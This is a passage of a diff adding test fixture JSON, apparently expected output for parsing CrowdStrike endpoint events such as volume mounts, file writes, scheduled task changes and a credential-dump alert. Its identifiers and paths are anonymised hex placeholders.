+                "VolumeSectorSize": "940",
+                "VolumeSessionUUID": "c8838ad8-1da8-43ae-8c85-3c2309eab164",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "5762ba1aab05fd80cadfb13f146bc3ce868c",
+                "name": "b47570143699a945cde3e5764a9843"
+            },
+            "device": {
+                "id": "6d58dee7855f7a94dc887ec52805de46"
+            },
+            "event": {
+                "action": "RemovableMediaVolumeMounted",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "5762ba1aab05fd80cadfb13f146bc3ce868c|6d58dee7855f7a94dc887ec52805de46|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"VolumeSessionUUID\":\"c8838ad8-1da8-43ae-8c85-3c2309eab164\",\"ContextThreadId\":\"300005906805\",\"aip\":\"81.2.69.192\",\"VolumeMountPoint\":\"\\\\e2\\\\cf8397ea\",\"VolumeDriveLetter\":\"4e\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"0\",\"VolumeFileSystemDevice\":\"\\\\ddc\",\"VolumeIsEncrypted\":\"0\",\"VolumeFileSystemDriver\":\"\\\\6b634d3d\\\\7a5851b\",\"DiskParentDeviceInstanceId\":\"61f\\\\cd4242a2\\\\a3fcbe35\",\"VolumeDeviceCharacteristics\":\"100402\",\"id\":\"5762ba1aab05fd80cadfb13f146bc3ce868c\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RemovableMediaVolumeMounted\",\"VolumeName\":\"\\\\6ba0bd\\\\257d4e13\",\"ContextTimeStamp\":\"1751260262.872\",\"VolumeSectorSize\":\"940\",\"ConfigStateHash\":\"8090285900\",\"ContextProcessId\":\"655070024024\",\"VolumeRealDeviceName\":\"\\\\6ba0bd\\\\257d4e13\",\"ConfigBuild\":\"ad5.4.ae3729d.6\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"3\",\"IsOnRemovableDisk\":\"1\",\"Entitlements\":\"96\",\"name\":\"b47570143699a945cde3e5764a9843\",\"aid\":\"6d58dee7855f7a94dc887ec52805de46\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "device": "61f\\cd4242a2\\a3fcbe35"
+            },
+            "host": {
+                "id": "6d58dee7855f7a94dc887ec52805de46",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RemovableMediaVolumeMounted",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "6d58dee7855f7a94dc887ec52805de46",
+                "version": "ad5.4.ae3729d.6"
+            },
+            "process": {
+                "entity_id": "655070024024",
+                "thread": {
+                    "id": 300005906805
+                }
+            },
+            "related": {
+                "hash": [
+                    "8090285900"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "BoundingLimitCount": 10,
+                "BoundingLimitDuration": "8486640",
+                "ConfigStateHash": "30820000",
+                "ContextBaseFileName": "6866e9cdd4c02",
+                "ContextProcessId": "600400303060",
+                "ContextTimeStamp": "2025-08-24T04:14:11.353Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "FileCategory": "2",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-49065-57943-32307",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "2",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "a6c319e36889013fd1a9cb1e28db73a2d47b",
+                "name": "e5968210c929a23b0"
+            },
+            "device": {
+                "id": "827afde25ba0eeda5d204a68ff612048"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "a6c319e36889013fd1a9cb1e28db73a2d47b|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-49065-57943-32307\",\"ContextBaseFileName\":\"6866e9cdd4c02\",\"FileCategory\":\"2\",\"Size\":\"507310\",\"ContextThreadId\":\"1006000509974\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"IsOnNetwork\":\"0\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\dc08d203\\\\6d4a9f57\",\"id\":\"a6c319e36889013fd1a9cb1e28db73a2d47b\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RtfFileWritten\",\"ContextTimeStamp\":\"1756008851.353\",\"UserName\":\"352ad1966\",\"ConfigStateHash\":\"30820000\",\"ContextProcessId\":\"600400303060\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"8486640\",\"Entitlements\":\"86\",\"name\":\"e5968210c929a23b0\",\"OperationFlags\":\"0\",\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\64fdf48d.~BT\\\\104a\\\\d\\\\d598026\\\\ddd203\\\\92391c8a.3007_none_7afbc84558a5a401\\\\f76eee64.rtf\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\dc08d203\\6d4a9f57",
+                "directory": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401",
+                "extension": "rtf",
+                "inode": "f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8",
+                "name": "f76eee64.rtf",
+                "path": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf",
+                "size": 507310,
+                "type": "file"
+            },
+            "host": {
+                "id": "827afde25ba0eeda5d204a68ff612048",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RtfFileWritten",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "827afde25ba0eeda5d204a68ff612048",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "600400303060",
+                "name": "6866e9cdd4c02",
+                "thread": {
+                    "id": 1006000509974
+                }
+            },
+            "related": {
+                "hash": [
+                    "30820000"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "352ad1966",
+                    "S-49065-57943-32307"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-49065-57943-32307",
+                "name": "352ad1966"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "770065302",
+                "ContextProcessId": "9083291189505",
+                "ContextTimeStamp": "2025-09-10T02:09:38.153Z",
+                "DesiredAccess": "106086",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "ExtendedKeyUsages": "1",
+                "FileSigningTime": "1653525170.000",
+                "KeyObject": "70075630231265270000",
+                "PublicKeys": "0",
+                "RegCreateDisposition": "2",
+                "RegCreateOptions": "0",
+                "RegPostObjectName": "\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5",
+                "RegRootObjectName": "\\85aaee17\\eb92252\\be8\\be8\\ced6771",
+                "SHA256HashData": "6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe",
+                "SignInfoFlags": "107067",
+                "Status": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "4cd0f3ad236f3d16670462b9d7b5bb5c129a",
+                "name": "cece108ee2dfd89f1ac8e4648ab61ed"
+            },
+            "device": {
+                "id": "1085124e43b788dc1142faa8282f3160"
+            },
+            "event": {
+                "action": "SAMHashDumpFromUnsignedModule",
+                "category": [
+                    "registry",
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "4cd0f3ad236f3d16670462b9d7b5bb5c129a|1085124e43b788dc1142faa8282f3160|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"KeyObject\":\"70075630231265270000\",\"ContextThreadId\":\"40890360000294\",\"aip\":\"81.2.69.192\",\"PublicKeys\":\"0\",\"RegPostObjectName\":\"\\\\85aaee17\\\\eb92252\\\\be8\\\\be8\\\\ced6771\\\\7e1b0d5\",\"RegKeyName\":\"\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"4cd0f3ad236f3d16670462b9d7b5bb5c129a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"SAMHashDumpFromUnsignedModule\",\"ContextTimeStamp\":\"1757470178.153\",\"ConfigStateHash\":\"770065302\",\"ContextProcessId\":\"9083291189505\",\"RegRootObjectName\":\"\\\\85aaee17\\\\eb92252\\\\be8\\\\be8\\\\ced6771\",\"SHA256HashData\":\"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe\",\"ExtendedKeyUsages\":\"1\",\"RegCreateDisposition\":\"2\",\"FileSigningTime\":\"1653525170.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"DesiredAccess\":\"106086\",\"ImageFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\9134161b\\\\a48be8\\\\45eb5659\\\\e5bb8b3e\\\\8eb4b.exe\",\"Entitlements\":\"66\",\"name\":\"cece108ee2dfd89f1ac8e4648ab61ed\",\"RegCreateOptions\":\"0\",\"aid\":\"1085124e43b788dc1142faa8282f3160\",\"SignInfoFlags\":\"107067\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}",
+                "outcome": "success",
+                "type": [
+                    "access",
+                    "creation"
+                ]
+            },
+            "host": {
+                "id": "1085124e43b788dc1142faa8282f3160",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SAMHashDumpFromUnsignedModule",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "1085124e43b788dc1142faa8282f3160",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "9083291189505",
+                "executable": "\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe",
+                "name": "8eb4b.exe",
+                "thread": {
+                    "id": 40890360000294
+                }
+            },
+            "related": {
+                "hash": [
+                    "6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe",
+                    "770065302"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "6804094900076",
+                "ContextTimeStamp": "2025-07-30T08:54:24.498Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "45",
+                "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7",
+                "InterfaceVersion": "60255",
+                "RpcClientProcessId": "4004620865900",
+                "RpcClientThreadId": "724002090409000",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "30",
+                "TaskName": "bd3d6bea\\9af0ff\\29eab3a3",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "6df4383ea32ec03f3e4d828c8771350c6861",
+                "name": "4996adce55e68cf01c05c7"
+            },
+            "device": {
+                "id": "4b4df0f0e24c600fcc98e7444c1af658"
+            },
+            "event": {
+                "action": "ScheduledTaskDeleted",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "6df4383ea32ec03f3e4d828c8771350c6861|4b4df0f0e24c600fcc98e7444c1af658|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"4004620865900\",\"id\":\"6df4383ea32ec03f3e4d828c8771350c6861\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskDeleted\",\"ContextTimeStamp\":\"1753865664.498\",\"UserName\":\"06a9f4e72\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"60255\",\"ContextProcessId\":\"6804094900076\",\"RpcClientThreadId\":\"724002090409000\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"bd3d6bea\\\\9af0ff\\\\29eab3a3\",\"RpcOpNum\":\"30\",\"Entitlements\":\"66\",\"name\":\"4996adce55e68cf01c05c7\",\"aid\":\"4b4df0f0e24c600fcc98e7444c1af658\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "host": {
+                "id": "4b4df0f0e24c600fcc98e7444c1af658",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ScheduledTaskDeleted",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "4b4df0f0e24c600fcc98e7444c1af658",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "6804094900076"
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "06a9f4e72"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "06a9f4e72"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "9080600092",
+                "ContextProcessId": "9000002203869",
+                "ContextTimeStamp": "2025-05-22T18:10:37.152Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "45",
+                "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7",
+                "InterfaceVersion": "80255",
+                "RpcClientProcessId": "3887070022276",
+                "RpcClientThreadId": "799160078000747",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "1",
+                "TaskAuthor": "057bcb1d4",
+                "TaskExecArguments": "/650a61d7",
+                "TaskExecCommand": "fa692415fa9d",
+                "TaskName": "c7bac469\\d598026\\1f6f4b17\\4e7075fa",
+                "TaskXml": "4a199d96.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo>\r\n <Author>FSSB0930$</Author>\r\n <URI>\\c7bac469\\d598026\\1f6f4b17\\7e6a0826",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "43b952c0225cd04c3a42b9e4b7264eecca9d",
+                "name": "569b2099134ca0f589a09d0"
+            },
+            "device": {
+                "id": "096a526846b73e64ffebbc72ded8f018"
+            },
+            "event": {
+                "action": "ScheduledTaskModified",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "43b952c0225cd04c3a42b9e4b7264eecca9d|096a526846b73e64ffebbc72ded8f018|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"aip\":\"81.2.69.192\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"3887070022276\",\"id\":\"43b952c0225cd04c3a42b9e4b7264eecca9d\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskModified\",\"ContextTimeStamp\":\"1747937437.152\",\"UserName\":\"057bcb1d4\",\"ConfigStateHash\":\"9080600092\",\"InterfaceVersion\":\"80255\",\"ContextProcessId\":\"9000002203869\",\"RpcClientThreadId\":\"799160078000747\",\"TaskXml\":\"4a199d96.com/windows/2004/02/mit/task\\\">\\r\\n <RegistrationInfo>\\r\\n <Author>FSSB0930$</Author>\\r\\n <URI>\\\\c7bac469\\\\d598026\\\\1f6f4b17\\\\7e6a0826\",\"TaskAuthor\":\"057bcb1d4\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"c7bac469\\\\d598026\\\\1f6f4b17\\\\4e7075fa\",\"RpcOpNum\":\"1\",\"Entitlements\":\"26\",\"name\":\"569b2099134ca0f589a09d0\",\"TaskExecArguments\":\"/650a61d7\",\"aid\":\"096a526846b73e64ffebbc72ded8f018\",\"TaskExecCommand\":\"fa692415fa9d\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "096a526846b73e64ffebbc72ded8f018",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ScheduledTaskModified",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "096a526846b73e64ffebbc72ded8f018",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "9000002203869"
+            },
+            "related": {
+                "hash": [
+                    "9080600092"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "user": [
+                    "057bcb1d4"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "057bcb1d4"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "6804094900076",
+                "ContextTimeStamp": "2025-08-15T23:56:08.498Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "45",
+                "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7",
+                "InterfaceVersion": "50255",
+                "RpcClientProcessId": "4950486027003",
+                "RpcClientThreadId": "900200906000878",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "1",
+                "TaskAuthor": "033b4ae8791399a8",
+                "TaskExecArguments": "/0630e40",
+                "TaskExecCommand": "82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe",
+                "TaskName": "c7bac469\\9e380d\\9eba707b",
+                "TaskXml": "3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe</Command>\r\n <Arguments>/checkin</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task>",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "c7674af79959a3dacc5f7ca39360a5e76431",
+                "name": "2a8048a7af2ffa0cde48ccc43"
+            },
+            "device": {
+                "id": "4b4df0f0e24c600fcc98e7444c1af658"
+            },
+            "event": {
+                "action": "ScheduledTaskRegistered",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "c7674af79959a3dacc5f7ca39360a5e76431|4b4df0f0e24c600fcc98e7444c1af658|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"4950486027003\",\"id\":\"c7674af79959a3dacc5f7ca39360a5e76431\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskRegistered\",\"ContextTimeStamp\":\"1755302168.498\",\"UserName\":\"06a9f4e72\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"50255\",\"ContextProcessId\":\"6804094900076\",\"RpcClientThreadId\":\"900200906000878\",\"TaskXml\":\"3398d363\\\\c7bac469\\\\9e380d\\\\96aef033\\\\9134161b\\\\42955da6\\\\3c5c8318\\\\27b5ee41\\\\deaf1acb.exe</Command>\\r\\n <Arguments>/checkin</Arguments>\\r\\n </Exec>\\r\\n </Actions>\\r\\n</Task>\",\"TaskAuthor\":\"033b4ae8791399a8\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"c7bac469\\\\9e380d\\\\9eba707b\",\"RpcOpNum\":\"1\",\"Entitlements\":\"96\",\"name\":\"2a8048a7af2ffa0cde48ccc43\",\"TaskExecArguments\":\"/0630e40\",\"aid\":\"4b4df0f0e24c600fcc98e7444c1af658\",\"TaskExecCommand\":\"82\\\\9134161b\\\\42955da6\\\\3c5c8318\\\\27b5ee41\\\\deaf1acb.exe\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "host": {
+                "id": "4b4df0f0e24c600fcc98e7444c1af658",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ScheduledTaskRegistered",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "4b4df0f0e24c600fcc98e7444c1af658",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "6804094900076"
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "06a9f4e72"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "06a9f4e72"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "1700783090940",
+                "ContextTimeStamp": "2025-10-05T11:04:06.104Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "PerformanceCounter": "d6c4254eed13d596",
+                "ProcessStartKey": "6502302011800406",
+                "RawThreadId": "9080",
+                "ScreenshotType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "3e6d517e7aca78f0cf93da20fe86adf5f9ab",
+                "name": "a476a54b92f13dc913cf"
+            },
+            "device": {
+                "id": "24840a73a08a136ac2e3a204a6371f8f"
+            },
+            "event": {
+                "action": "ScreenshotTakenEtw",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "3e6d517e7aca78f0cf93da20fe86adf5f9ab|24840a73a08a136ac2e3a204a6371f8f|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"ScreenshotTakenEtw\",\"RawProcessId\":\"98380\",\"ContextTimeStamp\":\"1759662246.104\",\"UserName\":\"b2a353ab\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"1700783090940\",\"ProcessStartKey\":\"6502302011800406\",\"aip\":\"81.2.69.142\",\"ScreenshotType\":\"1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\303abfe3\\\\f5738ad0\\\\982d2c83.edu\\\\55c39df.exe\",\"Entitlements\":\"16\",\"name\":\"a476a54b92f13dc913cf\",\"EventOrigin\":\"1\",\"RawThreadId\":\"9080\",\"id\":\"3e6d517e7aca78f0cf93da20fe86adf5f9ab\",\"PerformanceCounter\":\"d6c4254eed13d596\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"24840a73a08a136ac2e3a204a6371f8f\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "host": {
+                "id": "24840a73a08a136ac2e3a204a6371f8f",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ScreenshotTakenEtw",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "24840a73a08a136ac2e3a204a6371f8f",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066",
+                    "--26"
+                ],
+                "args_count": 2,
+                "command_line": "1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26",
+                "entity_id": "1700783090940",
+                "executable": "\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe",
+                "name": "55c39df.exe",
+                "pid": 98380
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "b2a353ab"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "b2a353ab"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "109050000055",
+                "ContextTimeStamp": "2025-07-08T23:23:52.509Z",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "Parameter64_1": "0",
+                "Parameter64_2": "8206700950",
+                "Parameter64_3": "0",
+                "ScriptControlErrorCode": "3",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "7e63b76986f72b1aa2e6038707b440ac2bd2",
+                "name": "345e60fd50e3d887337d0b2b9"
+            },
+            "device": {
+                "id": "5646c890ca4b0ac33c1cfa27264240b6"
+            },
+            "event": {
+                "action": "ScriptControlErrorEvent",
+                "category": [
+                    "malware",
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "7e63b76986f72b1aa2e6038707b440ac2bd2|5646c890ca4b0ac33c1cfa27264240b6|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
